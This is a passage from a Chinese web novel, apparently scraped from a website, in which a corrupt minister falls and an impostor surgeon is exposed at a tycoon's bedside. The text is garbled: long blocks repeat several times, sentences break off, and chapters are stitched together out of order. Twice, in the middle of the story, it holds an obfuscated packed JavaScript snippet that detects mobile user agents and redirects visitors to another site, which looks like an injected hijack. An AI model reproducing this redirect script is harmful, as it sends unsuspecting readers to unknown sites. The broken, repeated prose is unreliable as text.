夏云海车祸案再次被翻出来,之前只是暗指跟窦部长有关,这次新闻已经直接明示了。 又有人举报,说他诬陷沪城前任一把手陈市。 陈市的案子在这天成功翻供。 被证实多起**事件都是窦部长在背后搅动风云,为的是捧窦部长自己的人上位。 又在这时,一个窦部长意料之外的人站出来出卖了他,把他这些年做的腌臜事,全都搜罗出证据,去纪委揭发了他。 这人不是钱作梁,而是窦部长的第二任太太。 上头爆发出雷霆之怒,直接将窦部长革职查办。 由最上头直接指派人,专职查他。 窦部长被枕边人出卖,自然经不起查。 窦系一派,倒戈的倒戈,被连累的被连累,而党家的帮手日益增多。 除了沪城这边,季家也站在了党帅这边。 窦家彻底没了跟党家的抗衡之力。 窦部长彻底落网的那天,距离过年只有三天了。 夏灼灼也没有挑到什么喜欢的过年衣服,但心情却因为窦家的事情非常好。 这事儿,可比新年衣服重要多了。 夏灼灼找司慎行吃饭。 地点依旧选在四季阁。 这都快成她第二个家了。 一进包厢,她迫不及待问司慎行:“窦太太怎么回事?为什么会举报窦部长?” 享娱乐一直压着他,他早就出头了。 夏灼灼不过是给了他一个机会。 “而且,你也在帮我赚钱呀,你火了,我这笔投资就不亏,你说呢?” 夏怀乐郑重点头。 从这一刻开始,小七在他心里,已经是偶像了。 他要牢牢抓住现在的机会,绝对不让小七砸在他身上的钱打了水漂。 转眼距离春节只有十天了。 沪城街上的人反而变少了很多,很多来沪城工作的人,纷纷返乡,以至于偌大的城市反而显得很是寂寥。 夏灼灼跟秋雨一起逛百货公司,为自己选新年的衣服。 秋雨是本命年,过了年她就24了。 秋家送来十套新衣,秋雨都不是很喜欢,故而夏灼灼陪她来百货大楼挑选。 红色的衣服好看的不多,两人挑了半天,都没有特别喜欢的。 于是第二天又出来逛街。 衣服依旧没挑到喜欢的,不过倒是等来一个好消息。 无限立方大楼**案有了下一步进展。 被夏灼灼的人抓到的那几个闻衢朝的手下经过两个月时间终于松口,他们承认,幕后主谋是已经死去的窦斯齐。 夏云海车祸案没能把窦部长拉下水,窦斯齐这事,窦部长却不能幸免。 毕竟窦斯齐是他的亲儿子,又是他平时的话事人。 窦斯齐就代表着窦部长。 夏云海车祸案再次被翻出来,之前只是暗指跟窦部长有关,这次新闻已经直接明示了。 又有人举报,说他诬陷沪城前任一把手陈市。 陈市的案子在这天成功翻供。 被证实多起**事件都是窦部长在背后搅动风云,为的是捧窦部长自己的人上位。 又在这时,一个窦部长意料之外的人站出来出卖了他,把他这些年做的腌臜事,全都搜罗出证据,去纪委揭发了他。 这人不是钱作梁,而是窦部长的第二任太太。 上头爆发出雷霆之怒,直接将窦部长革职查办。 由最上头直接指派人,专职查他。 窦部长被枕边人出卖,自然经不起查。 窦系一派,倒戈的倒戈,被连累的被连累,而党家的帮手日益增多。 除了沪城这边,季家也站在了党帅这边。 窦家彻底没了跟党家的抗衡之力。 窦部长彻底落网的那天,距离过年只有三天了。 夏灼灼也没有挑到什么喜欢的过年衣服,但心情却因为窦家的事情非常好。 这事儿,可比新年衣服重要多了。 夏灼灼找司慎行吃饭。 地点依旧选在四季阁。 这都快成她第二个家了。 一进包厢,她迫不及待问司慎行:“窦太太怎么回事?为什么会举报窦部长?” 享娱乐一直压着他,他早就出头了。 夏灼灼不过是给了他一个机会。 “而且,你也在帮我赚钱呀,你火了,我这笔投资就不亏,你说呢?” 夏怀乐郑重点头。 从这一刻开始,小七在他心里,已经是偶像了。 他要牢牢抓住现在的机会,绝对不让小七砸在他身上的钱打了水漂。 转眼距离春节只有十天了。 沪城街上的人反而变少了很多,很多来沪城工作的人,纷纷返乡,以至于偌大的城市反而显得很是寂寥。 夏灼灼跟秋雨一起逛百货公司,为自己选新年的衣服。 秋雨是本命年,过了年她就24了。 秋家送来十套新衣,秋雨都不是很喜欢,故而夏灼灼陪她来百货大楼挑选。 红色的衣服好看的不多,两人挑了半天,都没有特别喜欢的。 于是第二天又出来逛街。 衣服依旧没挑到喜欢的,不过倒是等来一个好消息。 无限立方大楼**案有了下一步进展。 被夏灼灼的人抓到的那几个闻衢朝的手下经过两个月时间终于松口,他们承认,幕后主谋是已经死去的窦斯齐。 夏云海车祸案没能把窦部长拉下水,窦斯齐这事,窦部长却不能幸免。 毕竟窦斯齐是他的亲儿子,又是他平时的话事人。 窦斯齐就代表着窦部长。 夏云海车祸案再次被翻出来,之前只是暗指跟窦部长有关,这次新闻已经直接明示了。 又有人举报,说他诬陷沪城前任一把手陈市。 陈市的案子在这天成功翻供。 被证实多起**事件都是窦部长在背后搅动风云,为的是捧窦部长自己的人上位。 又在这时,一个窦部长意料之外的人站出来出卖了他,把他这些年做的腌臜事,全都搜罗出证据,去纪委揭发了他。 这人不是钱作梁,而是窦部长的第二任太太。 上头爆发出雷霆之怒,直接将窦部长革职查办。 由最上头直接指派人,专职查他。 窦部长被枕边人出卖,自然经不起查。 窦系一派,倒戈的倒戈,被连累的被连累,而党家的帮手日益增多。 除了沪城这边,季家也站在了党帅这边。 窦家彻底没了跟党家的抗衡之力。 窦部长彻底落网的那天,距离过年只有三天了。 夏灼灼也没有挑到什么喜欢的过年衣服,但心情却因为窦家的事情非常好。 这事儿,可比新年衣服重要多了。 夏灼灼找司慎行吃饭。 地点依旧选在四季阁。 这都快成她第二个家了。 一进包厢,她迫不及待问司慎行:“窦太太怎么回事?为什么会举报窦部长?” 第260章 司董事长,手术 “想知道?”司慎行问。 夏灼灼递过去一个白眼。 “废话!” 司慎行笑道:“那你给我准备一个新年礼物。” 夏灼灼还以为他要说出什么“那你亲我一下”这种厚脸皮的话却没想到要的只是一个新年礼物。 不过给他买礼物也费劲。 他什么都不缺。 但新年礼物本来就是要买的。 夏灼灼点头:“好。” 司慎行便不再卖关子问她:“你知不知道一个叫钱作梁的。” 夏灼灼点头:“知道窦部长身边一个心腹他比白季勇还忠诚。怎么……你收买了他?” 司慎行摇摇头。 “不是收买。他很忠心哪怕我通过白季勇让他动摇过 “那是?” “他忠心见不得窦部长因为窦斯礼的死继续颓废所以我就叫人给他献计。” “什么计?” “窦部长**儿子当然得再有一个儿子才能疗伤。可窦太太已经不能生育了生窦斯礼的时候她大出血坏了根基。所以钱作梁在我收买的人的提议下又给窦部长找了个女人。” 夏灼灼已经猜到了始末了。 大概是窦太太得知后恼羞成怒。 虽然不想承认但很多女性都容易受情绪的影响。 情绪一上来什么理智都被抛之脑后。 不过真实的情况跟夏灼灼猜想的有细微的出入。 这些年窦部长在外面没少有别的女人。 窦太太早已经习惯。 她真正动怒的不是窦部长在外面有了女人而那个女人又成功有孕还查出来是个男孩。 “让她生气的是窦部长买了一份保险。” 那份保险特意写明私生子也能继承他的家产。 也就是说以后这个私生子生下来窦部长如果出事是由这个儿子继承他的一切财产。 窦太太什么都捞不着。 夏灼灼了然。 “怪不得窦太太不顾自己去举报了窦部长。” 她横竖什么都得不到不如趁着那个孩子还没出生先毁了窦部长。 窦部长一落网外面那个女人肚子里的孩子能不能生出来就是窦太太说了算了。 窦部长现在所拥有的一切都会归窦太太。 虽然会被查封一些但他很多财产都在海外窦太太还是能得 到不少好处。 “你做这些 司慎行道:“不是故意瞒着你我是想让你少费点心。你这段时间过得很开心我不想你劳神想让你多开心一点。” 夏灼灼最不喜欢司慎行瞒着她事情但这次是例外。 他是为她打算的。 “来吃点冬笋很嫩。”司慎行替她夹菜。 他们今天点的是“冬菜”应季的格外好吃。 夏灼灼本来没有什么太大的口腹之欲但胃口硬生生被四季阁的厨师养叼了。 两人吃到后半段季恒来了。 夏灼灼已经三个月不见他。 这回他出现没有穿之前那种花里胡哨的吊儿郎当公子哥的衣服而是一身西服衬得他整个人气场完全不同了。 看起来很沉稳、严肃。 或许这才是真正的季恒。 只是一开口他就破功了。 “讨厌人家都还没到你们就开吃了伤心心。” 夏灼灼解释:“我不知道你要来。” 季恒笑道:“我开玩笑的来人再给小爷上两个菜免得这几个菜都是某些人的恋爱酸臭味。” 司慎行掀起眼皮凉凉看他一眼不过并没有露出不高兴的表情。 从季恒的嘴里夏灼灼得知季恒已经拿到季家的继承权。 现在已经把椅子差不多坐稳坐热了。 季家那边很是震惊也很是惊喜。 他们到现在才知道季恒是一块瑰宝。 他简单把情况说了一遍。 夏灼灼点点头问他:“你嫂子现在怎么样了?” 季恒的表情有细微的变化但很恢复如常。 他说:“已经不是我嫂子了他们离婚了。” 季远不爱甄凝连女人都不喜欢他喜欢的是男人。 可即便如此他也不肯离婚。 跟甄凝离了他就连季家给他的最后一点“东西”也没了。 他不把甄凝当成个人只当成自己的所有物。 最后是甄凝向**提出起诉离婚又有季恒施压他们才算离了婚。 “真好。”夏灼灼说:“以后她就可以找到自己真正的幸福了。” 季恒的眼睛快速闪烁了下但他没说什么只是点点头。 夏灼灼看出来了却不追问。 她知道他们两个如果真打算在一起必定会遭到一些**的阻力。 但有情人只要坚定在一起,总会克服万难。 不过这是他们自己的事情,与夏灼灼无关,她没有这个开口的资格和必要。 就在三个人吃得差不多的时候,一通电话打到了司慎行的手机里。 他脸色骤变,俊眉拧得仿佛能夹死一只苍蝇。 他说了句:“知道了,我马上赶过来。” 而后就开始联系阿麦,让他准备私人飞机,自己要立刻飞往沪城。 挂断电话,他对上两人错愕的视线,深深吸了口气,解释说:“老头今天手术。” 老头,说的就是司董事长。 两人都吃了一惊。 “什么时候开始手术?” 司慎行道:“十分钟之前,已经进行麻醉了。” 夏灼灼问:“是上次那个女神医负责手术吗?” 只听司慎行道:“是她,但是……她跑了,手术前,人突然找不到了。” “跑了?” “嗯。他们一直想瞒着我,怕我在中间动手脚,到现在人躺在手术台上,却找不到人,所以才来告诉我。” “……” 季恒错愕地问:“什么女神医?” 夏灼灼知道的情况更详细一些,她知道冒名顶替的事。 只是她来不及跟季恒解释太仔细。 阿麦已经到了。 接司慎行去机场。 “我跟你一起去。”夏灼灼拉住他的袖子。 司慎行看她一眼,似在犹豫。 她道:“或许我能帮上忙呢?” 司慎行思考两秒,还是点头答应了。 “好,我们一起去。” “不是……”季恒瞅着两人,说:“我刚从京都飞过来找你们,你们又要回去了?那我怎么办?” “你自己看着办。” 说罢,司慎行拉着夏灼灼就往外走。 季恒连忙追出去。 “带上我!带上我!我也能帮忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555621|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 司慎行倒没拒绝:“上车吧。” 季恒如获大赦。 但转念一想,他这不是上赶着帮忙吗? 这个奸商! 帮他忙还得求着他! 心里吐槽,身体还是很诚实地上了车。 路上,夏灼灼跟一脸懵的季恒仔细解释了前因后果。 季恒听了,没个正经的他也同样眉头紧锁。 “这么大的事情,他竟然宁愿相信一个不知道从哪儿冒出来的神医,也不相信你… …按我说,你就别管他的死活了。” 夏灼灼比较理智。 “先不是感情方面,如果我们不管,司董事长真出了事,**对我们没什么好处。尤其,另一位还不知道现在身在哪里。” “那就是不想管也得管了?” 夏灼灼点头。 她的话提醒了司慎行。 他吩咐阿麦:“看看司谨言在哪里。” “是。” 上飞机前,阿麦得知消息。 “还在国外,不过他买了机票,后天到。需要拦住他吗?” 司慎行看向夏灼灼。 “你觉得呢?” “先等我到京都,看了情况再说。” “好。”司慎行对她的话不疑有他。 两个小时后,私人飞机直接在京都第一医院天台落地。 天台有个停机坪。 三人一下飞机,各司其职。 季恒去找凌悠然和“女神医”去了。 阿麦得到的消息,是神医不见之后,凌悠然也失踪了。 季恒对京都比对沪城熟悉,找两个人,对他来说不难。 而夏灼灼和司慎行则是直接赶往手术室。 到的时候,手术室门口只站了一个人,正是司管家。 他是特意等在这里的。 司管家迎上前,笑容略有些不自然。 “少爷,您来了。” “他现在怎么样?” “已经从麻醉中醒过来了,发现神医不见后,就立刻让麻醉师停止麻醉。现在刚醒不久,我带您过去?” “不在手术室?” “醒了之后就去病房了。” “走吧。” “是。”司管家应声,却没动,眼睛看向夏灼灼。 司慎行直接牵住夏灼灼的手,与她十指相扣。 “她是我未婚妻,以后的司少奶奶,她不能去?” “当然能……” “那就带路!” “是。” 司管家走在前面,司慎行招呼身后的阿麦,在他耳边叮嘱了两句。 阿麦应声,很快走了。 夏灼灼疑惑看向司慎行,司慎行做了一个口型,夏灼灼大概猜到了阿麦去做什么。 她回握住司慎行的手,跟着司管家去见司董事长。 她在这之前,并没见过司董事长。 只觉得这个人翻脸无情,性子淡漠,甚至对亲生儿子也很戒备,所以对他的观感并不太好。 只是她本以为司董事长相由心生,应该是个长相刻薄的人,见了面之后,却发现全然不是那么一回事。 司董事长虽然生病,但不见枯槁之色,只有鬓角那一点灰白头发才见一丝衰老迹象。 除此之外,只是像一株经历风霜却依旧挺拔的竹。 第261章 女骗子被抓 夏灼灼大致打量了司董事长的身形后,又去看他的脸。 他的眼睛跟司慎行长得很像,只是颧骨有些高,大概是上了年纪,皮肉变松了一些。 只是依旧可见这张脸年轻时候的英俊。 总体来说,是个看起来很儒雅、很好说话的人。 只是夏灼灼心里清楚,他并不是个好说话的。 “爸。”司慎行带着她走到床边,开口道:“还好吗?” 夏灼灼刚才打量司董事长的时候,董事长是闭着眼睛的。 大概是麻醉的效果还没完全过,人还略有些迷糊着。 听到司慎行的声音,他才缓缓睁开眼。 睁眼时,眼底锐利的光就落在了夏灼灼脸上。 夏灼灼惊讶地发现,这人睁眼和闭眼的时候,气势像是判若两人。 刚才是儒雅,现在就是冷厉了。 而且大概是在高位上久了,他丝毫不收敛自己的气势。 夏灼灼见他在看自己,主动打招呼。 “叔叔好,我是灼灼。” 再无别的话。 司董事长轻轻一点头,便掠过了他,看向司慎行。 “你留下,我单独跟你说话。” 夏灼灼正要退出去,司慎行却再次拉住她的手。 只听司慎行说:“都是一家人,不用避着她。司管家,你出去吧,我们三个人单独说话。” 司管家迟疑看向司董事长,司慎行却再次开口了,语气里满是冷笑。 “看来司管家只是爸你一个人的管家,我说话并不好使。” 司管家脸色微变,忙退了出去。 司董事长蹙眉,脸色明显不太高兴。 看看司慎行旁边的夏灼灼,他脸色更难看了。 该出去的人不出去,不该出去的,反而留下来了。 “说说看吧。”司慎行道:“现在没外人了。你跟凌悠然都达成什么条件了?让她冒死也要找个假冒的神医骗你?” 司董事长条件反射看向夏灼灼。 司慎行道:“看她干什么?是我在问你。” 司董事长的脸色更难看了。 夏灼灼虽然站着,却如坐针毡。 她还不知道,他们父子俩平时是这么个相处之道。 她突然也有点理解司董事长,为什么防着自己的亲生儿子。 的确是有点……生怕气不死他的感觉。 司慎行但凡说点软和话,司董事长恐怕也不是这个态度。 不过,家家都有本难念的经,司慎行也不是天生就这个脾气。 而且,在她面前,他脾气就挺好的。 司董事长深吸了一口气,似乎是压下了怒火,终于开口:“达成什么条件你不用管,反正都不作数。当务之急,是找到那位神医。” “神医?” 司慎行听笑了:“都临阵脱逃了,你还觉得她是神医呐?她就是个骗子!” 司董事长蹙眉。 “不可能。” “为什么不可能?” “凌家那丫头不敢骗我。” “可要是凌悠然也被骗了呢?否则,为什么你说的那个劳什子神医一跑,她也就跟着失踪了?” “她没失踪,只是暂时联络不上。” 事到如今,司董事长始终认定是出了什么岔子,而非是一场骗局。 因为他的骄傲,不允许他被两个女人骗了。 司慎行看他这个倔驴样,气得胸口都有点疼。 他该忍一忍的,忍到季恒和阿麦把该带来的人带来,可现在,他忍不了了。 “你跟凌悠然都被那个骗子给骗了。你们要找的神医不是她,她就是个冒名顶替的,真正的神医,是灼灼!” 司董事长略有些薄的眼皮瞥向夏灼灼,又再次看向司慎行。 “你在说什么胡话?” “我没说胡话!灼灼她就是那位享誉京都的女神医,很多人之所以不认识她,是因为她每一次出诊都会给自己易容。那个骗子正是钻了这个空,才骗过了凌悠然。” 夏灼灼刚才一直没说话,到现在才适时走上前。 “伯父,我是暗部的医生,之前一直隐姓埋名,是因为时局不允许我展露真面目。请您信我,我能为您做这个手术。” “……” 司董事长的目光再次在两人之间扫来扫去。 可最后,他露出了一抹嗤笑。 “慎行,我早该猜到你对她动了真心,我也不是不能接受夏家这个女儿。但你不该拿这种事来骗我,这样只会让我厌恶她。” 司董事长嗓音淡淡。 夏家是党帅的人,如今党帅得势,窦家落网,他对夏灼灼,自然又生出了好感。 所以当司慎行让夏灼灼留在病房的时候,他心里不悦,可也没说什么。 毁约凌悠然,再次接纳夏灼灼也不是不行。 但现在司慎行对他撒这种低级的谎言,他对夏灼灼顿时生出了不满。 司慎行却几乎要控制不住 自己的怒火。 司董事长总是不信他! 小时候他做的那些“顽劣事”都不是他做的,而是司谨言栽赃嫁祸。 他逃课,也是事出有因。 可司董事长从不信他。 到现在,他仍旧不信他。 “我在你心里,就这么糊涂?” “女人会蒙蔽你的双眼,让你变蠢。”司董事长毫不避讳夏灼灼本人就在场。 饶是夏灼灼,此刻心里也生出了怒火。 她甚至在想,抓那个骗子回来给司董事长做手术好了。 是死是活,全看司董事长自己的造化。 但她还是压下了怒火,说:“伯父,您在质疑我跟阿行之前,不如先看看这个。” 说话间,她上前两步,递出了一张卡。 那张卡正是暗部的接头卡,以前杜家人质疑她身份的时候,她曾经拿出来过。 暗部的卡做工极其繁复,几乎不能**。 司慎行分辨得出接头卡的真伪,司董事长自然也能分辨得出来。 果然,看到那张火莲花纹路的卡,司董事长的眼皮顿时抬了一下,错愕看向夏灼灼。 但下一秒,司董事长就将卡放到了床头。 “我有点累了,你们先回去吧,有事我会再找你们。” 夏灼灼错愕。 刚才司董事长的表情,分明是确认这张卡是真的,可怎么……突然又要赶他们走? 司慎行面无表情开口:“你哪怕知道这张卡是真的,也不信我们说的话?” 司董事长笑了笑,说:“我没有不信。” 话虽如此,可心里不这么想。 司慎行如今手眼通天,拿到一张暗部的接头卡又有什么难的? 何况,就算夏灼灼也是神医又如何? 他不愿意把自己的性命,交给这个长子。 他跟长子并不亲近,哪怕他已经把S集团交了他。 可说到底,人心隔肚皮。 若是他这个老头子碍了长子的眼,谁知道他会不会容易让手术失败? 他不愿意担这种风险。 要死,他也得死的明明白白。 “我只是有点累了,今天我不想再做手术了。” 他含笑说着,笑意并不达眼底。 “你……”司慎行正欲发作,门外突然传来一阵躁动。 “外头是怎么了?”司董事长问。 司慎行走到门口,将房门拉开。 只见季恒带着一个 蓬头垢面的女人要往病房走,但司管家拦住了他。 “让他们进来。” 司慎行开口,司管家只好将人放进去。 “伯父!” 季恒一只手挟制着女人,脸上挂着笑:“您看看,我帮你找到了谁。” 他说着,腾出一只手来,掀开女人的头发,露出了她的脸。 司董事长眯着眼看过去,下一秒眉头顿时蹙了起来。 女人不是别人,正是那位手术前突然不见的女神医。 “你……” 司董事长刚说出一个字,季恒直接一脚踹在女人的腿上。 “跪下!好好说!” 女人惊呼了一声,被踹得直接匍匐在地。 可她丝毫怨言也不敢有,浑身发抖地按照季恒说的爬起来跪着。 “这是做什么!” 司董事长惊讶之余,心里已经动怒。 这是他的医生,要是踹出个什么好歹,他的手术谁来做? 难道让夏灼灼吗? “季恒,你……” 他正要让季恒把人扶起来,就听地上都抖如筛糠的“女神医”开口道:“司董,我该死!我骗了您!” “……” 司董事长表情僵住。 他虽然见了夏灼灼那张接头卡,心里仍旧更信任眼前这个女人才是暗部的神医。 现在听到对方这么说,他一颗心出现明显的起伏。 只听“女神医”抖着唇瓣继续说:“我根本不是什么神医,什么暗部,我见都没见过!我只是沪城一家小药房的店员,稍微懂一点点医药常识……” 她说,她只是喜欢打牌,后来牌越打越大,输掉了父母留给她的房子不说,还欠了一笔**。 她正愁没办法还钱,就听“道上”一个大哥说,有人在高价找一个神医,她便起了心思。 本来她以为自己很快就会被发现假身份,却没想到一路畅通地来了京都。 今天,她收到了凌悠然的打款,立刻按照原计划,准备逃去国外。 她银行信誉不好,办不出签证,所以她提前找了个人,想偷渡出去。 却没想到,人还没到码头,就被抓了过来。 她自知大难临头,什么都不敢瞒着,只求他们看她主动交代的份上,坦白从宽。 “混账!” 司董事长一巴掌拍在床头柜上。 发出重重一声响。 “你知道我是谁?你知道我是什么身份?你竟然敢骗我!” 蓬头垢面的女人要往病房走,但司管家拦住了他。 “让他们进来。” 司慎行开口,司管家只好将人放进去。 “伯父!” 季恒一只手挟制着女人,脸上挂着笑:“您看看,我帮你找到了谁。” 他说着,腾出一只手来,掀开女人的头发,露出了她的脸。 司董事长眯着眼看过去,下一秒眉头顿时蹙了起来。 女人不是别人,正是那位手术前突然不见的女神医。 “你……” 司董事长刚说出一个字,季恒直接一脚踹在女人的腿上。 “跪下!好好说!” 女人惊呼了一声,被踹得直接匍匐在地。 可她丝毫怨言也不敢有,浑身发抖地按照季恒说的爬起来跪着。 “这是做什么!” 司董事长惊讶之余,心里已经动怒。 这是他的医生,要是踹出个什么好歹,他的手术谁来做? 难道让夏灼灼吗? “季恒,你……” 他正要让季恒把人扶起来,就听地上都抖如筛糠的“女神医”开口道:“司董,我该死!我骗了您!” “……” 司董事长表情僵住。 他虽然见了夏灼灼那张接头卡,心里仍旧更信任眼前这个女人才是暗部的神医。 现在听到对方这么说,他一颗心出现明显的起伏。 只听“女神医”抖着唇瓣继续说:“我根本不是什么神医,什么暗部,我见都没见过!我只是沪城一家小药房的店员,稍微懂一点点医药常识……” 她说,她只是喜欢打牌,后来牌越打越大,输掉了父母留给她的房子不说,还欠了一笔**。 她正愁没办法还钱,就听“道上”一个大哥说,有人在高价找一个神医,她便起了心思。 本来她以为自己很快就会被发现假身份,却没想到一路畅通地来了京都。 今天,她收到了凌悠然的打款,立刻按照原计划,准备逃去国外。 她银行信誉不好,办不出签证,所以她提前找了个人,想偷渡出去。 却没想到,人还没到码头,就被抓了过来。 她自知大难临头,什么都不敢瞒着,只求他们看她主动交代的份上,坦白从宽。 “混账!” 司董事长一巴掌拍在床头柜上。 发出重重一声响。 “你知道我是谁?你知道我是什么身份?你竟然敢骗我!” 蓬头垢面的女人要往病房走,但司管家拦住了他。 “让他们进来。” 司慎行开口,司管家只好将人放进去。 “伯父!” 季恒一只手挟制着女人,脸上挂着笑:“您看看,我帮你找到了谁。” 他说着,腾出一只手来,掀开女人的头发,露出了她的脸。 司董事长眯着眼看过去,下一秒眉头顿时蹙了起来。 女人不是别人,正是那位手术前突然不见的女神医。 “你……” 司董事长刚说出一个字,季恒直接一脚踹在女人的腿上。 “跪下!好好说!” 女人惊呼了一声,被踹得直接匍匐在地。 可她丝毫怨言也不敢有,浑身发抖地按照季恒说的爬起来跪着。 “这是做什么!” 司董事长惊讶之余,心里已经动怒。 这是他的医生,要是踹出个什么好歹,他的手术谁来做? 难道让夏灼灼吗? “季恒,你……” 他正要让季恒把人扶起来,就听地上都抖如筛糠的“女神医”开口道:“司董,我该死!我骗了您!” “……” 司董事长表情僵住。 他虽然见了夏灼灼那张接头卡,心里仍旧更信任眼前这个女人才是暗部的神医。 现在听到对方这么说,他一颗心出现明显的起伏。 只听“女神医”抖着唇瓣继续说:“我根本不是什么神医,什么暗部,我见都没见过!我只是沪城一家小药房的店员,稍微懂一点点医药常识……” 她说,她只是喜欢打牌,后来牌越打越大,输掉了父母留给她的房子不说,还欠了一笔**。 她正愁没办法还钱,就听“道上”一个大哥说,有人在高价找一个神医,她便起了心思。 本来她以为自己很快就会被发现假身份,却没想到一路畅通地来了京都。 今天,她收到了凌悠然的打款,立刻按照原计划,准备逃去国外。 她银行信誉不好,办不出签证,所以她提前找了个人,想偷渡出去。 却没想到,人还没到码头,就被抓了过来。 她自知大难临头,什么都不敢瞒着,只求他们看她主动交代的份上,坦白从宽。 “混账!” 司董事长一巴掌拍在床头柜上。 发出重重一声响。 “你知道我是谁?你知道我是什么身份?你竟然敢骗我!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555622|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 蓬头垢面的女人要往病房走,但司管家拦住了他。 “让他们进来。” 司慎行开口,司管家只好将人放进去。 “伯父!” 季恒一只手挟制着女人,脸上挂着笑:“您看看,我帮你找到了谁。” 他说着,腾出一只手来,掀开女人的头发,露出了她的脸。 司董事长眯着眼看过去,下一秒眉头顿时蹙了起来。 女人不是别人,正是那位手术前突然不见的女神医。 “你……” 司董事长刚说出一个字,季恒直接一脚踹在女人的腿上。 “跪下!好好说!” 女人惊呼了一声,被踹得直接匍匐在地。 可她丝毫怨言也不敢有,浑身发抖地按照季恒说的爬起来跪着。 “这是做什么!” 司董事长惊讶之余,心里已经动怒。 这是他的医生,要是踹出个什么好歹,他的手术谁来做? 难道让夏灼灼吗? “季恒,你……” 他正要让季恒把人扶起来,就听地上都抖如筛糠的“女神医”开口道:“司董,我该死!我骗了您!” “……” 司董事长表情僵住。 他虽然见了夏灼灼那张接头卡,心里仍旧更信任眼前这个女人才是暗部的神医。 现在听到对方这么说,他一颗心出现明显的起伏。 只听“女神医”抖着唇瓣继续说:“我根本不是什么神医,什么暗部,我见都没见过!我只是沪城一家小药房的店员,稍微懂一点点医药常识……” 她说,她只是喜欢打牌,后来牌越打越大,输掉了父母留给她的房子不说,还欠了一笔**。 她正愁没办法还钱,就听“道上”一个大哥说,有人在高价找一个神医,她便起了心思。 本来她以为自己很快就会被发现假身份,却没想到一路畅通地来了京都。 今天,她收到了凌悠然的打款,立刻按照原计划,准备逃去国外。 她银行信誉不好,办不出签证,所以她提前找了个人,想偷渡出去。 却没想到,人还没到码头,就被抓了过来。 她自知大难临头,什么都不敢瞒着,只求他们看她主动交代的份上,坦白从宽。 “混账!” 司董事长一巴掌拍在床头柜上。 发出重重一声响。 “你知道我是谁?你知道我是什么身份?你竟然敢骗我!” 蓬头垢面的女人要往病房走,但司管家拦住了他。 “让他们进来。” 司慎行开口,司管家只好将人放进去。 “伯父!” 季恒一只手挟制着女人,脸上挂着笑:“您看看,我帮你找到了谁。” 他说着,腾出一只手来,掀开女人的头发,露出了她的脸。 司董事长眯着眼看过去,下一秒眉头顿时蹙了起来。 女人不是别人,正是那位手术前突然不见的女神医。 “你……” 司董事长刚说出一个字,季恒直接一脚踹在女人的腿上。 “跪下!好好说!” 女人惊呼了一声,被踹得直接匍匐在地。 可她丝毫怨言也不敢有,浑身发抖地按照季恒说的爬起来跪着。 “这是做什么!” 司董事长惊讶之余,心里已经动怒。 这是他的医生,要是踹出个什么好歹,他的手术谁来做? 难道让夏灼灼吗? “季恒,你……” 他正要让季恒把人扶起来,就听地上都抖如筛糠的“女神医”开口道:“司董,我该死!我骗了您!” “……” 司董事长表情僵住。 他虽然见了夏灼灼那张接头卡,心里仍旧更信任眼前这个女人才是暗部的神医。 现在听到对方这么说,他一颗心出现明显的起伏。 只听“女神医”抖着唇瓣继续说:“我根本不是什么神医,什么暗部,我见都没见过!我只是沪城一家小药房的店员,稍微懂一点点医药常识……” 她说,她只是喜欢打牌,后来牌越打越大,输掉了父母留给她的房子不说,还欠了一笔**。 她正愁没办法还钱,就听“道上”一个大哥说,有人在高价找一个神医,她便起了心思。 本来她以为自己很快就会被发现假身份,却没想到一路畅通地来了京都。 今天,她收到了凌悠然的打款,立刻按照原计划,准备逃去国外。 她银行信誉不好,办不出签证,所以她提前找了个人,想偷渡出去。 却没想到,人还没到码头,就被抓了过来。 她自知大难临头,什么都不敢瞒着,只求他们看她主动交代的份上,坦白从宽。 “混账!” 司董事长一巴掌拍在床头柜上。 发出重重一声响。 “你知道我是谁?你知道我是什么身份?你竟然敢骗我!” 蓬头垢面的女人要往病房走,但司管家拦住了他。 “让他们进来。” 司慎行开口,司管家只好将人放进去。 “伯父!” 季恒一只手挟制着女人,脸上挂着笑:“您看看,我帮你找到了谁。” 他说着,腾出一只手来,掀开女人的头发,露出了她的脸。 司董事长眯着眼看过去,下一秒眉头顿时蹙了起来。 女人不是别人,正是那位手术前突然不见的女神医。 “你……” 司董事长刚说出一个字,季恒直接一脚踹在女人的腿上。 “跪下!好好说!” 女人惊呼了一声,被踹得直接匍匐在地。 可她丝毫怨言也不敢有,浑身发抖地按照季恒说的爬起来跪着。 “这是做什么!” 司董事长惊讶之余,心里已经动怒。 这是他的医生,要是踹出个什么好歹,他的手术谁来做? 难道让夏灼灼吗? “季恒,你……” 他正要让季恒把人扶起来,就听地上都抖如筛糠的“女神医”开口道:“司董,我该死!我骗了您!” “……” 司董事长表情僵住。 他虽然见了夏灼灼那张接头卡,心里仍旧更信任眼前这个女人才是暗部的神医。 现在听到对方这么说,他一颗心出现明显的起伏。 只听“女神医”抖着唇瓣继续说:“我根本不是什么神医,什么暗部,我见都没见过!我只是沪城一家小药房的店员,稍微懂一点点医药常识……” 她说,她只是喜欢打牌,后来牌越打越大,输掉了父母留给她的房子不说,还欠了一笔**。 她正愁没办法还钱,就听“道上”一个大哥说,有人在高价找一个神医,她便起了心思。 本来她以为自己很快就会被发现假身份,却没想到一路畅通地来了京都。 今天,她收到了凌悠然的打款,立刻按照原计划,准备逃去国外。 